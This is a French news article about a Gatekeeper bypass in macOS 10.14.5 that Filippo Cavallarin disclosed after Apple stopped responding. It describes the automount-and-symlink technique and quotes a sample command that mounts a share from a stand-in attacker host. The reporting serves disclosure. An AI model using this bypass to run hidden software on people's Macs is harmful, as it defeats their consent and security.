Il est facile d'installer une application malveillante sur un Mac. Apple n'a pas corrigé l'erreur même après trois mois

Le chercheur en sécurité Filippo Cavallarin a publié un avertissement concernant le bug de macOS 10.14.5 sur son blog. Cela consiste en la possibilité de contourner complètement les mesures de sécurité de Gatekeeper. Selon Cavallarin, il a déjà signalé l'erreur à Apple en février de cette année, mais la société ne l'a pas corrigée dans la dernière mise à jour.

Gatekeeper a été développé par Apple et intégré pour la première fois à son système d'exploitation de bureau en 2012. Il s'agit d'un mécanisme qui empêche une application de s'exécuter à l'insu et sans le consentement de l'utilisateur. Après avoir téléchargé une application, Gatekeeper vérifie automatiquement son code pour voir si le logiciel est correctement signé par Apple.

Dans son article de blog, Cavallarin note que Gatekeeper considère par défaut le stockage externe et les partages réseau comme des emplacements sécurisés. Toute application résidant dans ces cibles peut donc être automatiquement lancée sans avoir à passer par le contrôle Gatekeeper. C'est cette fonctionnalité qui peut être exploitée pour lancer des logiciels malveillants à l'insu de l'utilisateur.

Un aspect qui permet un accès non autorisé est la fonctionnalité de montage automatique, qui permet aux utilisateurs de monter automatiquement un partage réseau simplement en spécifiant un chemin commençant par « /net/ ». À titre d'exemple, Cavallarin cite le chemin "ls /net/evil-attacker.com/sharedfolder/" qui peut amener le système d'exploitation à charger le contenu d'un dossier "sharefolder" dans un emplacement distant potentiellement malveillant.

Vous pouvez voir le fonctionnement de la menace dans la vidéo :

Un autre facteur est le fait que si une archive zip contenant un lien symbolique spécifique menant à la fonction de montage automatique est partagée, elle ne sera pas vérifiée par Gatekeeper. De cette façon, la victime peut facilement télécharger l'archive malveillante et la décompresser, permettant ainsi à l'attaquant d'exécuter pratiquement n'importe quel logiciel sur le Mac à l'insu de l'utilisateur. Le Finder, qui masque par défaut certaines extensions, a également sa part de cette vulnérabilité.

Cavallarin déclare sur son blog qu'Apple a attiré l'attention sur la vulnérabilité du système d'exploitation macOS le 22 février de cette année. Mais à la mi-mai, Apple a cessé de communiquer avec Cavallarin, alors Cavallarin a décidé de tout rendre public.

Source: FCVL